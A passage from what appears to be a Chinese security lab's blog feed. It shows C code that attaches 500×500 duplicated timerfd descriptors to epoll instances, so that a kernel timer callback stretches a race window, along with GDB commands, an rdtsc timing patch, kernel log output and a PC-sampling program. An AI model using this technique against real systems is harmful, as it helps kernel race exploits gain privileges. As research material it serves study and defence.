class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/epoll.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/timerfd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sched.h> </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><err.h> </span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SYSCHK(x) ({ \</span></span><br><span class="line"> typeof(x) __res = (x); \</span><br><span class="line"> <span class="keyword">if</span> (__res == (typeof(x))<span class="number">-1</span>) \</span><br><span class="line"> err(<span class="number">1</span>, <span class="string">"SYSCHK("</span> #x <span class="string">")"</span>); \</span><br><span class="line"> __res; \</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NUM_EPOLL_INSTANCES 500</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NUM_DUP_FDS 500</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NUM_TIMER_WAITERS (NUM_EPOLL_INSTANCES * NUM_DUP_FDS)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NSEC_PER_SEC 1000000000UL <span class="comment">// 1s = 1000000000ns</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pin_task_to</span><span class="params">(<span class="keyword">int</span> pid, <span class="keyword">int</span> cpu)</span> </span>{</span><br><span class="line"> <span class="keyword">cpu_set_t</span> cset;</span><br><span class="line"> CPU_ZERO(&cset);</span><br><span class="line"> CPU_SET(cpu, &cset);</span><br><span class="line"> SYSCHK(sched_setaffinity(pid, <span class="keyword">sizeof</span>(<span class="keyword">cpu_set_t</span>), &cset));</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pin_to</span><span class="params">(<span class="keyword">int</span> cpu)</span> </span>{ pin_task_to(<span class="number">0</span>, cpu); }</span><br><span class="line"></span><br><span class="line"><span class="function">struct timespec <span class="title">get_mono_time</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">timespec</span> <span class="title">ts</span>;</span></span><br><span class="line"> clock_gettime(CLOCK_MONOTONIC, &ts);</span><br><span class="line"> <span class="keyword">return</span> ts;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ts_add</span><span class="params">(struct timespec *ts, <span class="keyword">unsigned</span> <span class="keyword">long</span> nsecs)</span> </span>{</span><br><span class="line"> ts->tv_nsec += nsecs;</span><br><span class="line"> <span class="keyword">if</span> (ts->tv_nsec >= NSEC_PER_SEC) {</span><br><span class="line"> ts->tv_sec++;</span><br><span class="line"> ts->tv_nsec -= NSEC_PER_SEC;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line">pin_to(<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">int</span> timerfd = timerfd_create(CLOCK_MONOTONIC, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (timerfd < <span class="number">0</span>) {</span><br><span class="line"> perror(<span class="string">"timerfd_create"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建 epoll instances</span></span><br><span class="line"> <span class="keyword">int</span> epoll_fds[NUM_EPOLL_INSTANCES];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < NUM_EPOLL_INSTANCES; i++) {</span><br><span class="line"> epoll_fds[i] = epoll_create1(<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (epoll_fds[i] < <span class="number">0</span>) {</span><br><span class="line"> perror(<span class="string">"epoll_create1"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// dup timer fd </span></span><br><span class="line"> <span class="keyword">int</span> timer_fds[NUM_DUP_FDS];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < NUM_DUP_FDS; i++) {</span><br><span class="line"> timer_fds[i] = dup(timerfd);</span><br><span class="line"> <span class="keyword">if</span> (timer_fds[i] < <span class="number">0</span>) {</span><br><span class="line"> perror(<span class="string">"dup"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">// epoll_ctl EPOLL_CTL_ADD 添加到 wait queue</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">epoll_event</span> <span class="title">ev</span> = {</span> <span class="number">0</span> };</span><br><span class="line"> ev.events = EPOLLIN;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < NUM_EPOLL_INSTANCES; i++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j < NUM_DUP_FDS; j++) {</span><br><span class="line"> ev.data.fd = timer_fds[j];</span><br><span class="line"> <span class="keyword">if</span> (epoll_ctl(epoll_fds[i], EPOLL_CTL_ADD, timer_fds[j], &ev) < <span class="number">0</span>) {</span><br><span class="line"> perror(<span class="string">"epoll_ctl"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">timespec</span> <span class="title">base_time</span> = <span class="title">get_mono_time</span>();</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">itimerspec</span> <span class="title">timer_value</span> = {</span> .it_value = base_time };</span><br><span class="line"> ts_add(&timer_value.it_value, <span class="number">1000</span> * <span class="number">1000</span> * <span class="number">1000</span>); <span class="comment">// timer at +1s</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (timerfd_settime(timerfd, TFD_TIMER_ABSTIME, &timer_value, <span class="literal">NULL</span>) < <span class="number">0</span>) {</span><br><span class="line"> perror(<span class="string">"timerfd_settime"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < NUM_EPOLL_INSTANCES; i++) {</span><br><span class="line"> <span class="keyword">int</span> nfds = epoll_wait(epoll_fds[i], &ev, <span class="number">1</span>, <span class="number">-1</span>);</span><br><span class="line"> <span class="keyword">if</span> (nfds < <span class="number">0</span>) {</span><br><span class="line"> perror(<span class="string">"epoll_wait"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> value;</span><br><span class="line"> <span class="built_in">read</span>(timerfd, &value, <span class="keyword">sizeof</span>(value)) == <span class="keyword">sizeof</span>(value);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"value: %ld\n"</span>, value);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < NUM_EPOLL_INSTANCES; i++) {</span><br><span class="line"> <span class="built_in">close</span>(epoll_fds[i]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < NUM_DUP_FDS; i++) {</span><br><span class="line"> <span class="built_in">close</span>(timer_fds[i]);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">close</span>(timerfd);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>如何观测延迟效果?</strong></p><p>在 GDB 中可以查看队列中的 entry,数量与设置的一致</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">b timerfd_triggered</span><br><span class="line"><span class="built_in">set</span> $head = &ctx.wqh.head</span><br><span class="line"><span class="built_in">set</span> $node = $head</span><br><span class="line"><span class="keyword">while</span> $node.next != $head</span><br><span class="line">p $node.next</span><br><span class="line"><span class="built_in">set</span> $node = $node.next</span><br><span class="line"><span class="built_in">end</span></span><br><span class="line">p *$head</span><br></pre></td></tr></table></figure><p>加一点 patch 用 <code>rdtsc</code> 可以粗略测量一下延迟效果</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">**<span class="number">0xffffffff81b8b67e</span> <+<span class="number">49</span>>:rdtsc**</span><br><span class="line"><span class="number">0xffffffff81b8b680</span> <+<span class="number">51</span>>:shl rdx,<span class="number">0x20</span></span><br><span class="line"><span class="number">0xffffffff81b8b684</span> <+<span class="number">55</span>>:<span class="keyword">or</span> rax,rdx</span><br><span class="line"><span class="number">0xffffffff81b8b687</span> <+<span class="number">58</span>>:lea r12,[rbx+<span class="number">0x88</span>]</span><br><span class="line"><span class="number">0xffffffff81b8b68e</span> <+<span class="number">65</span>>:mov r14,rax</span><br><span class="line"><span class="number">0xffffffff81b8b691</span> <+<span class="number">68</span>>:mov rdi,r12</span><br><span class="line"><span class="number">0xffffffff81b8b694</span> <+<span class="number">71</span>>:call <span class="number">0xffffffff81bde9d0</span> <_raw_spin_lock_irqsave></span><br><span class="line"><span class="number">0xffffffff81b8b699</span> <+<span class="number">76</span>>:inc QWORD PTR [rbx+<span class="number">0xa0</span>]</span><br><span class="line"><span class="number">0xffffffff81b8b6a0</span> <+<span class="number">83</span>>:mov edx,<span class="number">0x1</span></span><br><span class="line"><span class="number">0xffffffff81b8b6a5</span> <+<span class="number">88</span>>:mov rdi,r12</span><br><span class="line"><span class="number">0xffffffff81b8b6a8</span> <+<span class="number">91</span>>:mov WORD PTR [rbx+<span class="number">0xac</span>],<span class="number">0x1</span></span><br><span class="line"><span class="number">0xffffffff81b8b6b1</span> <+<span class="number">100</span>>:mov r13,rax</span><br><span class="line"><span class="number">0xffffffff81b8b6b4</span> <+<span class="number">103</span>>:mov esi,<span class="number">0x3</span></span><br><span class="line"><span class="number">0xffffffff81b8b6b9</span> <+<span class="number">108</span>>:call <span class="number">0xffffffff810ad650</span> <__wake_up_locked_key></span><br><span class="line"><span class="number">0xffffffff81b8b6be</span> <+<span class="number">113</span>>:mov rsi,r13</span><br><span class="line"><span class="number">0xffffffff81b8b6c1</span> <+<span class="number">116</span>>:mov rdi,r12</span><br><span class="line"><span class="number">0xffffffff81b8b6c4</span> <+<span class="number">119</span>>:call <span class="number">0xffffffff81bde5b0</span> <_raw_spin_unlock_irqrestore></span><br><span class="line">**<span class="number">0xffffffff81b8b6c9</span> <+<span class="number">124</span>>:rdtsc**</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/fs/timerfd.c b/fs/timerfd.c</span><br><span class="line">index e9c96a0c79f1..b919b24b4d48 <span class="number">100644</span></span><br><span class="line">--- a/fs/timerfd.c</span><br><span class="line">+++ b/fs/timerfd.c</span><br><span class="line">@@ <span class="number">-64</span>,<span class="number">11</span> +<span class="number">64</span>,<span class="number">20</span> @@ <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">timerfd_triggered</span><span class="params">(struct timerfd_ctx *ctx)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> flags;</span><br><span class="line"></span><br><span class="line">+ u64 start_time, end_time;</span><br><span class="line">+</span><br><span class="line">+ pr_warn(<span class="string">"[%s] %s enter\n"</span>, current->comm, __func__);</span><br><span class="line">+</span><br><span class="line">+ <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"rdtsc; shlq $32, %%rdx; orq %%rdx, %0"</span></span></span></span><br><span class="line"><span class="function"><span class="params">+ : <span class="string">"=a"</span>(start_time) :: <span class="string">"%rdx"</span>)</span></span>;</span><br><span class="line"> spin_lock_irqsave(&ctx->wqh.lock, flags);</span><br><span class="line"> ctx->expired = <span class="number">1</span>;</span><br><span class="line"> ctx->ticks++;</span><br><span class="line"> wake_up_locked_poll(&ctx->wqh, EPOLLIN);</span><br><span class="line"> spin_unlock_irqrestore(&ctx->wqh.lock, flags);</span><br><span class="line">+ <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"rdtsc; shlq $32, %%rdx; orq %%rdx, %0"</span></span></span></span><br><span class="line"><span class="function"><span class="params">+ : <span class="string">"=a"</span>(end_time) :: <span class="string">"%rdx"</span>)</span></span>;</span><br><span class="line">+ pr_warn(<span class="string">"[%s] %s exit, %lld\n"</span>, current->comm, __func__, end_time - start_time);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>系统正常运行的时候 tick 数大概在 3000 ~ 30000, 创建 500 * 500 个 entry 可以使cpu 运行时间增大 3~4 个数量级(测试虚拟机的CPU是单核 2000 MHz)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">[ <span class="number">1134.053250</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">2976</span></span><br><span class="line">[ <span class="number">1134.053250</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">[ <span class="number">1134.053250</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">3970</span></span><br><span class="line">[ <span class="number">1134.552271</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">[ <span class="number">1134.552906</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">11616</span></span><br><span class="line">[ <span class="number">1175.552958</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">[ <span class="number">1175.553871</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">32663</span></span><br><span class="line">[ <span class="number">1176.052796</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">[ <span class="number">1176.053719</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">29340</span></span><br><span class="line">[ <span class="number">1184.738834</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">**[ <span class="number">1184.739757</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">27116541</span> <span class="comment">// 500 * 500</span></span><br><span class="line">...**</span><br><span class="line">[ <span class="number">1588.076916</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">**[ <span class="number">1588.077841</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">28924883</span> <span class="comment">// 500 * 500</span></span><br><span class="line">...**</span><br><span class="line">[ <span class="number">1596.735608</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">**[ <span class="number">1596.736503</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">28029898</span> <span class="comment">// 500 * 500**</span></span><br><span class="line">..</span><br><span class="line">[ <span class="number">1222.384483</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">**[ <span class="number">1222.385381</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">8511668</span> <span class="comment">// 100 * 500**</span></span><br><span class="line">...</span><br><span class="line">[ <span class="number">1265.026284</span>] [swapper/<span class="number">0</span>] timerfd_triggered enter</span><br><span class="line">**[ <span class="number">1265.027208</span>] [swapper/<span class="number">0</span>] timerfd_triggered <span class="built_in">exit</span>, <span class="number">1202548</span> <span class="comment">// 10 * 500**</span></span><br></pre></td></tr></table></figure><h3 id="一种观测代码被中断位置的方法"><a href="#一种观测代码被中断位置的方法" class="headerlink" title="一种观测代码被中断位置的方法"></a>一种观测代码被中断位置的方法</h3><p>原文的附录:</p><blockquote><p>I tried firing an interval timer at 100Hz (using timer_create()), with a signal handler that logs the PC register</p></blockquote><p>代码实现:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><signal.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><ucontext.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/time.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/user.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><time.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sched.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><err.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SYSCHK(x) ({ \</span></span><br><span class="line"> typeof(x) __res = (x); \</span><br><span class="line"> <span class="keyword">if</span> (__res == (typeof(x))<span class="number">-1</span>) \</span><br><span class="line"> err(<span class="number">1</span>, <span class="string">"SYSCHK("</span> #x <span class="string">")"</span>); \</span><br><span class="line"> __res; \</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pin_task_to</span><span class="params">(<span class="keyword">int</span> pid, <span class="keyword">int</span> cpu)</span> </span>{</span><br><span class="line"> <span class="keyword">cpu_set_t</span> cset;</span><br><span class="line"> CPU_ZERO(&cset);</span><br><span class="line"> CPU_SET(cpu, &cset);</span><br><span class="line"> SYSCHK(sched_setaffinity(pid, <span class="keyword">sizeof</span>(<span class="keyword">cpu_set_t</span>), &cset));</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pin_to</span><span class="params">(<span class="keyword">int</span> cpu)</span> </span>{ pin_task_to(<span class="number">0</span>, cpu); }</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">timer_handler</span><span class="params">(<span class="keyword">int</span> signum, <span class="keyword">siginfo_t</span> *info, <span class="keyword">void</span> *context)</span> </span>{</span><br><span class="line"> <span class="keyword">ucontext_t</span> *ucontext = (<span class="keyword">ucontext_t</span> *) context;</span><br><span class="line"> <span class="keyword">void</span> *pc = (<span class="keyword">void</span> *) ucontext->uc_mcontext.gregs[REG_RIP];</span><br><span class="line"> <span class="keyword">long</span> rax = ucontext->uc_mcontext.gregs[REG_RAX];</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Timer fired, PC = %p, rax: %ld\n"</span>, pc, rax);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> pin_to(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Set up the signal handler for SIGALRM</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sigaction</span> <span class="title">sa</span>;</span></span><br><span class="line"> <span class="built_in">memset</span>(&sa, <span class="number">0</span>, <span class="keyword">sizeof</span>(sa));</span><br><span class="line"> sa.sa_flags = SA_SIGINFO;</span><br><span class="line"> sa.sa_sigaction = timer_handler;</span><br><span class="line"> sigaction(SIGALRM, &sa, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Start the timer</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">itimerspec</span> <span class="title">its</span>;</span></span><br><span class="line"> its.it_interval.tv_sec = <span class="number">0</span>;</span><br><span class="line"> its.it_interval.tv_nsec = <span class="number">10000000</span>; <span class="comment">// 100Hz</span></span><br><span class="line"> its.it_value = its.it_interval;</span><br><span class="line"> <span class="keyword">timer_t</span> timerid;</span><br><span class="line"> timer_create(CLOCK_MONOTONIC, <span class="literal">NULL</span>, &timerid);</span><br><span class="line"> timer_settime(timerid, <span class="number">0</span>, &its, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Run a loop to generate some activity</span></span><br><span class="line"> <span class="keyword">volatile</span> <span class="keyword">int</span> i;</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> <span class="function">__asm__ <span class="title">volatile</span> <span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="string">"mov $1, %%rax\n\t"</span> <span class="comment">// Move 1 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $2, %%rax\n\t"</span> <span class="comment">// Move 2 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $3, %%rax\n\t"</span> <span class="comment">// Move 3 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $4, %%rax\n\t"</span> <span class="comment">// Move 4 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $5, %%rax\n\t"</span> <span class="comment">// Move 5 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $6, %%rax\n\t"</span> <span class="comment">// Move 6 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $7, %%rax\n\t"</span> <span class="comment">// Move 7 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $8, %%rax\n\t"</span> <span class="comment">// Move 8 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $9, %%rax\n\t"</span> <span class="comment">// Move 9 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov $10, %%rax\n\t"</span> <span class="comment">// Move 10 to rax</span></span></span></span><br><span class="line"><span class="function"><span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params"> : <span class="comment">// No output operand</span></span></span></span><br><span class="line"><span class="function"><span class="params"> : <span class="comment">// No input operand</span></span></span></span><br><span class="line"><span class="function"><span class="params"> : <span class="string">"%rax"</span> <span class="comment">// Clobbered register</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"> <span class="comment">//i = -1; /* 内存写操作 */</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>author: 熊潇 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a></p>
<h2 id="概述"><a href="#概述"
</summary>
</entry>
<entry>
<title>CVE-2022-1015 nf_tables 提权漏洞分析</title>
<link href="http://yoursite.com/2023/02/06/cve-2022-1015/"/>
<id>http://yoursite.com/2023/02/06/cve-2022-1015/</id>
<published>2023-02-06T14:00:00.000Z</published>
<updated>2025-07-16T10:02:19.309Z</updated>
